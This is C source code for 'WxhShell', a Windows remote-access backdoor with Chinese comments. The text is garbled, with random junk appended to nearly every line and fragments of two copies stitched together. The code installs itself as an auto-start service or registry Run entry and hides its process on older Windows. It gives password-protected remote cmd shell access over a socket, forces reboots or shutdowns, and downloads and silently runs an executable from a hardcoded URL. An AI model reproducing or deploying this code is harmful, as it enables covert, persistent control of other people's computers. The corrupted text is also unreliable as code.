    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - SS r  
    else { ~ sIGI?5f  
    closesocket(wsh); EeJqszmH  
    ExitThread(0); j;20JA/b  
    } 0[:9 Hb6  
    break; Ae j   
    } K- I\P6R`  
  // 获取shell D!}K)T1~R  
  case 's': { ) wY!/&  
    CmdShell(wsh); g&+Y{*Gp  
    closesocket(wsh); qC1U&b#MVx  
    ExitThread(0); H5rPq_R  
    break; U2V^T'Y[  
  } g[s\~MF@s  
  // 退出 Z-SwJtWk  
  case 'x': { *SkiFEoD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j\'+wVyo  
    CloseIt(wsh); p x|>v8  
    break; 8Y\OCwO  
    } >AQ) x  
  // 离开 drENkS=,  
  case 'q': { |,;twj[?4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b+IOh|  
    closesocket(wsh); m\/,cc@,  
    WSACleanup(); `u#;MUg  
    exit(1); 2"leUur~rO  
    break; 1Sg|3T8bGT  
        } f4'El2>-86  
  } PNbcy!\U  
  } #9D/jYK1X  
. QXG"R  
  // 提示信息 > 'aG /(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d $fvg8^  
} "($Lx  
  } 9jO`gWxV8*  
&_9YLXtMi;  
  return; 'u(=eJ@1  
} [J)/Et  
7`IUMYl#~  
// shell模块句柄 cgs3qI  
int CmdShell(SOCKET sock) -,QKTxwo>  
{ e^k!vk-SLF  
STARTUPINFO si; ;Y'8:ncDn  
ZeroMemory(&si,sizeof(si)); 6| *(dE2x(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [x!i* rW3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (;0$i?3\  
PROCESS_INFORMATION ProcessInfo; .4Qb5I2#  
char cmdline[]="cmd"; EqD^/(,L2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j?:`-\w5  
  return 0; y]}b?R~p=  
} }_{y|NW  
5/B#)gm  
// 自身启动模式 D:wnO|:  
int StartFromService(void) onnI !  
{ t_jyyHxoZ:  
typedef struct N[qA2+e$Z  
{ n1QEu"~Zj  
  DWORD ExitStatus; `d7gm;ykp  
  DWORD PebBaseAddress; @B,j;2eb  
  DWORD AffinityMask; o 'C~~Vg).  
  DWORD BasePriority; t=n+3`g  
  ULONG UniqueProcessId; ud0QZ X  
  ULONG InheritedFromUniqueProcessId; {TyCj?3B  
}   PROCESS_BASIC_INFORMATION; 8P,l>HA  
WD15pq l  
PROCNTQSIP NtQueryInformationProcess; iH-bo@  
2E$^_YT C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >=if8t!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ci~f#{  
tm(v~L%$>]  
  HANDLE             hProcess; JY{X,?s  
  PROCESS_BASIC_INFORMATION pbi; tg~A}1o`0  
7\IL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j~Q}F|i8  
  if(NULL == hInst ) return 0; A LXUaE.  
Q  |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t]s94 R q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JOBz{;:R{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r5o@+"!  
Iq{o-nq  
  if (!NtQueryInformationProcess) return 0; ,-@xq.D  
807al^s x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B!eK!B  
  if(!hProcess) return 0; oJ^C]E  
1p8:.1)q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;0IvF#SJ(.  
`9/0J-7*  
  CloseHandle(hProcess); oP/>ju  
= 0 ,|/1~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]?[zx'|  
if(hProcess==NULL) return 0; 2(pLxVl  
R]Hz8 _X  
HMODULE hMod; yahAD.Xuo@  
char procName[255]; hM?`x(P  
unsigned long cbNeeded; i8K_vo2Z)  
rwy+~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jz*0`9&_  
'e F%  
  CloseHandle(hProcess); @B?FE\  
_ w/_(k  
if(strstr(procName,"services")) return 1; // 以服务启动 $; ?c?n+  
C>^,*7dS  
  return 0; // 注册表启动 wb b*nL|P  
} kP@H G<~  
IXnb]q.  
// 主模块 nE_Cuc>K\  
int StartWxhshell(LPSTR lpCmdLine) yq?]V7~  
{ kd yAl,  
  SOCKET wsl; Tr~sieL  
BOOL val=TRUE; rWA6X DM7  
  int port=0; PSPTL3_~  
  struct sockaddr_in door; /0(%(2jIWl  
*ot> WVB  
  if(wscfg.ws_autoins) Install(); FH.f- ZU  
!v0"$V5+i  
port=atoi(lpCmdLine); `xCOR  
7'z(~3D  
if(port<=0) port=wscfg.ws_port; P>(&glr|  
_BbvhWN&+  
  WSADATA data; n+2%tW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vDsF-u1  
C8ZL*9U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SAR= {/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k0JW[04j  
  door.sin_family = AF_INET; S<"oUdkz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {Ur7# h5  
  door.sin_port = htons(port); gljo;f:  
w8p8 ;@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GF*>~_Yr  
closesocket(wsl); @o6R[5(  
return 1; {?Od{d9  
} b]T@gJ4H=  
YScvyh?E  
  if(listen(wsl,2) == INVALID_SOCKET) { >p0KFU  
closesocket(wsl); t8P PE  
return 1; _g~2R#2Q  
} kO1}?dWpa  
  Wxhshell(wsl); Us]=Y}(  
  WSACleanup(); M diw Ri  
b?8)7.{F{  
return 0; 1fH<VgF`  
)qv2)a!H  
} Tg0CE60"  
yrnv!moc%t  
// 以NT服务方式启动 `rlk|&T1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vy [C'a  
{ A|L'ih/  
DWORD   status = 0; iPvuz7j=h  
  DWORD   specificError = 0xfffffff; (,B#t7ka  
f"dSr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b5<okICD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 22&;jpL'?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lj4o#^lC  
  serviceStatus.dwWin32ExitCode     = 0; .1#kD M  
  serviceStatus.dwServiceSpecificExitCode = 0; iG#}`  
  serviceStatus.dwCheckPoint       = 0; I`T1Pll  
  serviceStatus.dwWaitHint       = 0; BJk Z2=  
zU&L.+   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {e"dm5  
  if (hServiceStatusHandle==0) return; (5a1P;_Y  
rQb7?O@-  
status = GetLastError(); -R b{^/  
  if (status!=NO_ERROR) _[t8rl  
{ ?T!)X)A#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yz8jU*H  
    serviceStatus.dwCheckPoint       = 0; $,ikv?"L  
    serviceStatus.dwWaitHint       = 0; O6X"RsI}  
    serviceStatus.dwWin32ExitCode     = status; C h19h8M  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1& ^?U{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +.kfU)6@  
    return;  U>a\j2I  
  } Jxa4hM0  
Yf}xwpuLk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g<wRN#B  
  serviceStatus.dwCheckPoint       = 0; n<7u>;SJQ  
  serviceStatus.dwWaitHint       = 0; nS9wb1Zl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _MuZ4tc  
} 02=lsV!U  
r@kP*  
// 处理NT服务事件,比如:启动、停止 |ZiC`Nt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %S \8.  
{ x`%JI=q  
switch(fdwControl) S\=1_LDx"  
{ -1u9t4+`  
case SERVICE_CONTROL_STOP: nB5zNyY4  
  serviceStatus.dwWin32ExitCode = 0; = a}b+(R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VUwC-)  
  serviceStatus.dwCheckPoint   = 0; Y`BRh9Sa  
  serviceStatus.dwWaitHint     = 0; KzV 2MO-$  
  { aG%, cQ1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \r {W  
  } 4vWkT8HQ  
  return; = 1.9/hW  
case SERVICE_CONTROL_PAUSE: ,xfO;yd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MTOy8 Im  
  break; y[?-@7i  
case SERVICE_CONTROL_CONTINUE: AUe# RP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n6<V+G)T  
  break; N?P%-/7  
case SERVICE_CONTROL_INTERROGATE: iY"l}.7)  
  break; y E[#ze  
}; L|bwZ,M=}?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P) 3mX.(}  
} OO[F E3F  
^&y$Wd]6  
// 标准应用程序主函数 ys 5&PZg*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ( Jz;W<E  
{ B,,D7cQC  
T)r9-wOq  
// 获取操作系统版本 Aq3}Ng  
OsIsNt=GetOsVer(); UTXSeNP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Y[1aQ(%  
}.s~T#v  
  // 从命令行安装 {e|[%reSkg  
  if(strpbrk(lpCmdLine,"iI")) Install(); tHzZ@72B7  
U8 nH;}i  
  // 下载执行文件 B^g ?=|{  
if(wscfg.ws_downexe) { O)vp~@ |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) / X1 x  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,\NFt`]j  
} D 9M:^  
6Fe34n]m  
if(!OsIsNt) { K4kMM*D  
// 如果时win9x,隐藏进程并且设置为注册表启动 :0h_K  
HideProc(); R?]02Q  
StartWxhshell(lpCmdLine); YpqrZWvh  
} =ZqT3_  
else G;YrF)\  
  if(StartFromService()) r?/'!!4  
  // 以服务方式启动 Fi0GknQ+  
  StartServiceCtrlDispatcher(DispatchTable); EAM5{Nc  
else I'LnI*  
  // 普通方式启动 1')%`~  
  StartWxhshell(lpCmdLine); uC cYPvm  
>3Eo@J,?d  
return 0; ?"g!  
} b9l;a+]d  
:8OZ#D_Hl  
ga`3 (  
')$+G152  
=========================================== 9g mW&{6q  
 a24"yT  
!4X f~P  
}|pwz   
1]p ZrBh"E  
P(f0R8BE  
" GaK-t*Q  
<P=twT;P  
#include <stdio.h> ;'cN<x)% |  
#include <string.h> Jt}Bpg!J  
#include <windows.h>  z62;cv  
#include <winsock2.h> C@'h<[v`1v  
#include <winsvc.h> fR(d  
#include <urlmon.h> 3R.W >U  
# mV{#B=  
#pragma comment (lib, "Ws2_32.lib") LhA/xf  
#pragma comment (lib, "urlmon.lib") G?Q3/y(  
Q$zO83  
#define MAX_USER   100 // 最大客户端连接数 (pv+c,  
#define BUF_SOCK   200 // sock buffer hoK>~:;  
#define KEY_BUFF   255 // 输入 buffer W04@!_) <  
n>BkTaI  
#define REBOOT     0   // 重启 zh8nc%X{  
#define SHUTDOWN   1   // 关机 [XEkz#{  
sn obT Q  
#define DEF_PORT   5000 // 监听端口 n*[XR`r}  
L~lxXTG\  
#define REG_LEN     16   // 注册表键长度 /_I]H  
#define SVC_LEN     80   // NT服务名长度 5C o  
f4 P8Oz  
// 从dll定义API ' aq!^!z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vq(0OPj8r[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gG<~-8uQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !dyXJ Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mr*JJF0Z  
7%Gwc?[x  
// wxhshell配置信息 J:CXW%\ <q  
struct WSCFG { +6HVhoxU#  
  int ws_port;         // 监听端口 T@2#6Tffo  
  char ws_passstr[REG_LEN]; // 口令 f$e[u E r  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dfg2`l  
  char ws_regname[REG_LEN]; // 注册表键名 G_bG  
  char ws_svcname[REG_LEN]; // 服务名 n}F&1Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 de.&`lPRf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %b&". mN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ($au:'kU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rdvk ml@@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I`-8Air5f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;RDh ~EV  
0m%|U'm|j  
}; ~ $Tkn_w#  
!=;+%C&8y  
// default Wxhshell configuration nw-xSS{  
struct WSCFG wscfg={DEF_PORT, dgR g>)V  
    "xuhuanlingzhe", QdT}wkX  
    1, 1"zDin!A  
    "Wxhshell", 0 HGM4[)=  
    "Wxhshell", bLlKe50  
            "WxhShell Service", 2`7==?  
    "Wrsky Windows CmdShell Service", PDJr<E?  
    "Please Input Your Password: ", H$=e -L`@  
  1, e- :yb^  
  "http://www.wrsky.com/wxhshell.exe", W5EDVP ur  
  "Wxhshell.exe" ~zHjMo2  
    }; e<3K;Q  
R<\F:9  
// 消息定义模块 JJP08 oP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]$ L|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7&t-pv92*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !nqUBa  
char *msg_ws_ext="\n\rExit."; u[@l~gwL  
char *msg_ws_end="\n\rQuit."; 7E!IF>`  
char *msg_ws_boot="\n\rReboot..."; $G8E 3|k  
char *msg_ws_poff="\n\rShutdown..."; $;1#To  
char *msg_ws_down="\n\rSave to "; Rn}l6kbM  
wN@oYFoL  
char *msg_ws_err="\n\rErr!"; f%SZg!+t  
char *msg_ws_ok="\n\rOK!"; JLnH&(O  
cJ{ Nh;"  
char ExeFile[MAX_PATH]; &ib5* 4!  
int nUser = 0; W#^2#sjO  
HANDLE handles[MAX_USER]; kh {p%<r{  
int OsIsNt; DnC{YK  
iIMd!Q.)@  
SERVICE_STATUS       serviceStatus; =y [M\m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T ? $:'XJ  
{9?JjA  
// 函数声明 W}m)cn3@  
int Install(void); FKIw!m ~  
int Uninstall(void); 5* j?E  
int DownloadFile(char *sURL, SOCKET wsh); 3jGWkby0  
int Boot(int flag); rX4j*u2u  
void HideProc(void); tQ8.f  
int GetOsVer(void); Fpm|_f7  
int Wxhshell(SOCKET wsl);  `7 vHt`  
void TalkWithClient(void *cs); ZjgsR|i  
int CmdShell(SOCKET sock); !F1M(zFD  
int StartFromService(void); 9{(.Il J>  
int StartWxhshell(LPSTR lpCmdLine); 9f2UgNqe9  
>hPQRd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fI{ESXU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K@sV\"U(*E  
{{B%f.   
// 数据结构和表定义 '_GrD>P)-  
SERVICE_TABLE_ENTRY DispatchTable[] = $K]m{  
{ 6A>dhU  
{wscfg.ws_svcname, NTServiceMain}, byLft 1  
{NULL, NULL} GO__$%~  
}; $* AYcy7  
]b\yg2  
// 自我安装 M[mF8Zf  
int Install(void) S'4(0j  
{ UaWl6 Y&Vu  
  char svExeFile[MAX_PATH]; |2RC#]/-Y  
  HKEY key; ;%<,IdhN  
  strcpy(svExeFile,ExeFile); =<{np  
UmKI1l  
// 如果是win9x系统,修改注册表设为自启动 eM$sv9?  
if(!OsIsNt) { n@C[@?D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Gn50-@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b6U2GDm\s  
  RegCloseKey(key); qAn!RkA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bwa'`+bC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i+p^ ^t\  
  RegCloseKey(key); mS~o?q-n  
  return 0; j6Yy6X]  
    } SZ,YS 4M  
  } 'eLqlu|T  
} )L#i%)+  
else { =p*]Az  
9QDFEYG  
// 如果是NT以上系统,安装为系统服务 y~q8pH1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0`X]o'RxS  
if (schSCManager!=0) P*FMwrJj>r  
{ "uaMk}[ <!  
  SC_HANDLE schService = CreateService 9y<*8bI   
  ( L<ue$'  
  schSCManager, !HnXXVW  
  wscfg.ws_svcname, j!U-'zJ  
  wscfg.ws_svcdisp, 5]AC*2(  
  SERVICE_ALL_ACCESS, ] lrWgm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Y~:|?(@-  
  SERVICE_AUTO_START, cc~O&?)i  
  SERVICE_ERROR_NORMAL, Qa-K$dm%  
  svExeFile, _*1`@  
  NULL, P_*" dza  
  NULL, X!9 B2w  
  NULL, v7iuL6jl  
  NULL, >zXsNeGQR  
  NULL BYVY)<v/  
  ); 23RN}LUi  
  if (schService!=0) P:k>aHnW  
  { `$W_R[  
  CloseServiceHandle(schService); Cjc6d4~  
  CloseServiceHandle(schSCManager); r76J N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;/r1}tl+3>  
  strcat(svExeFile,wscfg.ws_svcname); tt0f-:#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HY&aV2|A1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }bdmomV  
  RegCloseKey(key); E5I"%9X0H  
  return 0; _kU:Z  
    } _'{_gei_P  
  } ]yK7PH-{L  
  CloseServiceHandle(schSCManager); eZIhEOF  
} .Le?T&_  
} GO` Ru 8  
]:4*L  
return 1; g# Sl %Y  
} 0 q} *S~  
x4;"!Kq\  
// 自我卸载 y(CS5v#FG  
int Uninstall(void) dQV;3^iUY  
{ ==3dEJS  
  HKEY key;  >qS9PX  
*h!28Ya(~  
if(!OsIsNt) { v"b+$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 *'HL#  
  RegDeleteValue(key,wscfg.ws_regname); @D{KdyW  
  RegCloseKey(key); D^l%{IG   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]P.'>4  
  RegDeleteValue(key,wscfg.ws_regname); W+UfGk}A  
  RegCloseKey(key); %E#s\B,w  
  return 0; LhOa{1SY  
  } Sdt`i  
} q U%/W|LY  
} NidIVbT.A  
else { xF;kT BRi  
$*e2YQdLo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /|tJ6T1LrB  
if (schSCManager!=0) Fq |Ni$  
{ 41`n1:-]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LAB=Vp1y3[  
  if (schService!=0) ,]9P{k]O  
  { NW]Lj >0Y  
  if(DeleteService(schService)!=0) { o /j*d3  
  CloseServiceHandle(schService); hQYL`Dni  
  CloseServiceHandle(schSCManager); \MyLc/Gh5  
  return 0;  gbF+WE  
  } #M9~L[nF S  
  CloseServiceHandle(schService); ?zh9d%R  
  } #.rdQ,)<  
  CloseServiceHandle(schSCManager); >_[ 9t  
} \pPY37l  
} mk.9OhYY  
t| g4m[kr  
return 1; 6 Q%jA7  
} v- 2:(I V  
CAfGH!l!  
// 从指定url下载文件 u(@$a4z  
int DownloadFile(char *sURL, SOCKET wsh) zd2)M@  
{ ~ksi</s  
  HRESULT hr; |:nn>E}ZA/  
char seps[]= "/"; !hJ+Lp_  
char *token; ]D?"aX'q>  
char *file; )#?"Gjf~  
char myURL[MAX_PATH]; PQy4{0 _  
char myFILE[MAX_PATH]; T -.%  
/Lfm&;  
strcpy(myURL,sURL); LhA*F[6$M  
  token=strtok(myURL,seps); v[ . cd*b  
  while(token!=NULL) N-G1h?e4  
  { joFm]3$;  
    file=token; "sS}N%!  
  token=strtok(NULL,seps); bGN:=Y'  
  } &*##bA"!B  
PRx8I .  
GetCurrentDirectory(MAX_PATH,myFILE); ,vr? 2k  
strcat(myFILE, "\\"); RiDJ> 6S  
strcat(myFILE, file); /NLui@|R  
  send(wsh,myFILE,strlen(myFILE),0); #jkf1"8C  
send(wsh,"...",3,0); FtpK)9/4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m,VOx7%n  
  if(hr==S_OK) t=(!\:[D  
return 0; 4~ q5,^kgB  
else Gk. ruQW"  
return 1; 8Ry3`ct  
i)o2klIkB  
} J &o |QG  
e h&IPU S  
// 系统电源模块 1[mXd  
int Boot(int flag) Um }  
{ 2n,*Nd`  
  HANDLE hToken; FG PB:  
  TOKEN_PRIVILEGES tkp; wa(8Hl|Y  
xVf| G_5$  
  if(OsIsNt) { u9:`4b   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sWQfr$^A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Q9qq~  
    tkp.PrivilegeCount = 1; 0v6)t.]s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9V'%<pk''(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~< P 0]ju  
if(flag==REBOOT) { .0p0_f=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R]Vt Y7}i,  
  return 0; O ~(pg  
} 1;d$#j  
else { "HX<,l8f%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ];}Wfl  
  return 0; A]y`7jJ  
} Okgv!Nt8)A  
  } ,K>I%_!1  
  else { Q0$8j-1I  
if(flag==REBOOT) { B6=ebM`q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rjl`&POqc  
  return 0; a! (4Ch  
} m9)p-1y@5  
else { 3yANv?$a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '#! gh?  
  return 0; SD#]$v  
} 909?_ v  
} 5Y?L>QU"  
du+y5dw  
return 1; W"724fwu&  
} (As#^q\>B  
R|JC1f8P5  
// win9x进程隐藏模块 XV!6dh!  
void HideProc(void) -HQQw$  
{ TP VVck-T8  
[vge56h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,/[6e\0~  
  if ( hKernel != NULL ) |b[+I?X  
  { ~a%Z;Aj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V=)_yIS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l|xZk4@_uE  
    FreeLibrary(hKernel); avjpA ?Vz  
  } @*>@AFnf\Z  
^<;V]cY`  
return; U0=]  
} |}2 3>l7  
d#6`&MR  
// 获取操作系统版本 tc_286'x  
int GetOsVer(void) )64@2 ~4y  
{ wNq;;AJ$  
  OSVERSIONINFO winfo; `{,Dy!rL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =,%CLS,6w  
  GetVersionEx(&winfo); cQG +$0(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '[J<=2&  
  return 1; CxGx8*<X  
  else Q=BZ N]g2  
  return 0; m#ZO`W  
} y'FS/=u>0  
~jK{ ,$:=  
// 客户端句柄模块 b'P eH\h{  
int Wxhshell(SOCKET wsl) j lp:lX  
{ V I,ACj  
  SOCKET wsh; JBZUv  
  struct sockaddr_in client; gWrgnlq  
  DWORD myID; 6Ztq  
UUF ;p2{f  
  while(nUser<MAX_USER) Q s.pGi0W  
{ zR `EU,  
  int nSize=sizeof(client); @)-sTgn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kh(ZU^{n  
  if(wsh==INVALID_SOCKET) return 1; p>vn7;s2#  
7Q7-vx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $p#%G#T  
if(handles[nUser]==0) 4VHqBQ4  
  closesocket(wsh); .w> 4  
else ?s\ OUr  
  nUser++; # S}Z8  
  } e?`5>& Up  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ET_W-  
_2k]3z?  
  return 0; I/M_p^  
} 61/.K_%I.  
7@Zx@  
// 关闭 socket CSGz3uC2D  
void CloseIt(SOCKET wsh) \\{J'j>{f  
{ zrR`ecC(b  
closesocket(wsh); F6o_b4l  
nUser--; fbWFLS m;  
ExitThread(0); y;t6sM@  
} &LF` W  
AX?fuDLs  
// 客户端请求句柄 ?pYKZg /c  
void TalkWithClient(void *cs) %|^OOU}  
{ %{(x3\ *&  
w?zKjqza=v  
  SOCKET wsh=(SOCKET)cs; b !%hH  
  char pwd[SVC_LEN]; Ubh{!Y  
  char cmd[KEY_BUFF]; l IUuA  
char chr[1]; @HRC \OG  
int i,j; %9k!A]KD  
QCH}-q)  
  while (nUser < MAX_USER) { :C}2=  
~XyW&@  
if(wscfg.ws_passstr) { [zL7Q^~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JJltPGT~Oa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pM{nh00[  
  //ZeroMemory(pwd,KEY_BUFF); bHht d_}  
      i=0; 4Ue_Y 'LmM  
  while(i<SVC_LEN) { q}/WQ]p} <  
i `s|,"0o  
  // 设置超时 zaFt*~@X  
  fd_set FdRead; %&->%U|'  
  struct timeval TimeOut; Yly@ww9t|  
  FD_ZERO(&FdRead); 2u"7T_"2D  
  FD_SET(wsh,&FdRead); j:}J}P  
  TimeOut.tv_sec=8; qS/V"|G(  
  TimeOut.tv_usec=0; Iq#ZhAk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *\wp?s>-t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '8 fk+>M  
7}GK%H-u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6ns! ~g@  
  pwd=chr[0]; "F3]X)}  
  if(chr[0]==0xd || chr[0]==0xa) { 4\pWB90V  
  pwd=0; DbZ0e5  
  break; YXU|h  
  } b1gaj"]  
  i++; 5jgdbHog]  
    } uk9g<<3T  
Wxk x,q?  
  // 如果是非法用户,关闭 socket Ku/~ N#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X; 5Jb  
} IcrL   
`:wvh(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Aj9Ji"18za  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~"lJ'&J}  
/({;0I*!i  
while(1) { `^(jm  
=H %-.m'f2  
  ZeroMemory(cmd,KEY_BUFF); 2oZ9laJO  
li] 6Pj,  
      // 自动支持客户端 telnet标准   E15vq6DKF  
  j=0; RGIoI ]_  
  while(j<KEY_BUFF) { jJ3zF3Id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #5&jt@NS  
  cmd[j]=chr[0]; kvGCbRC  
  if(chr[0]==0xa || chr[0]==0xd) { <w>/^|]#  
  cmd[j]=0; D -IR!js ]  
  break; :%JC^dV(  
  } ' )-M\'S$E  
  j++; m ,>  
    } #FYAV%pi  
j2M+]Zp.  
  // 下载文件 zTo8OPr  
  if(strstr(cmd,"http://")) { ~~F2Ij  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Zz uo16  
  if(DownloadFile(cmd,wsh)) aF8k/$u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2hXa!yO  
  else ,WWj-X|+=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P2 0|RvE  
  } GZ }/leR  
  else { *s)}Bj  
VjbG(nB?_  
    switch(cmd[0]) { !:fv>FEI9  
  Omag)U)IPh  
  // 帮助 Zv qn%K],  
  case '?': { UQd6/mD`e  
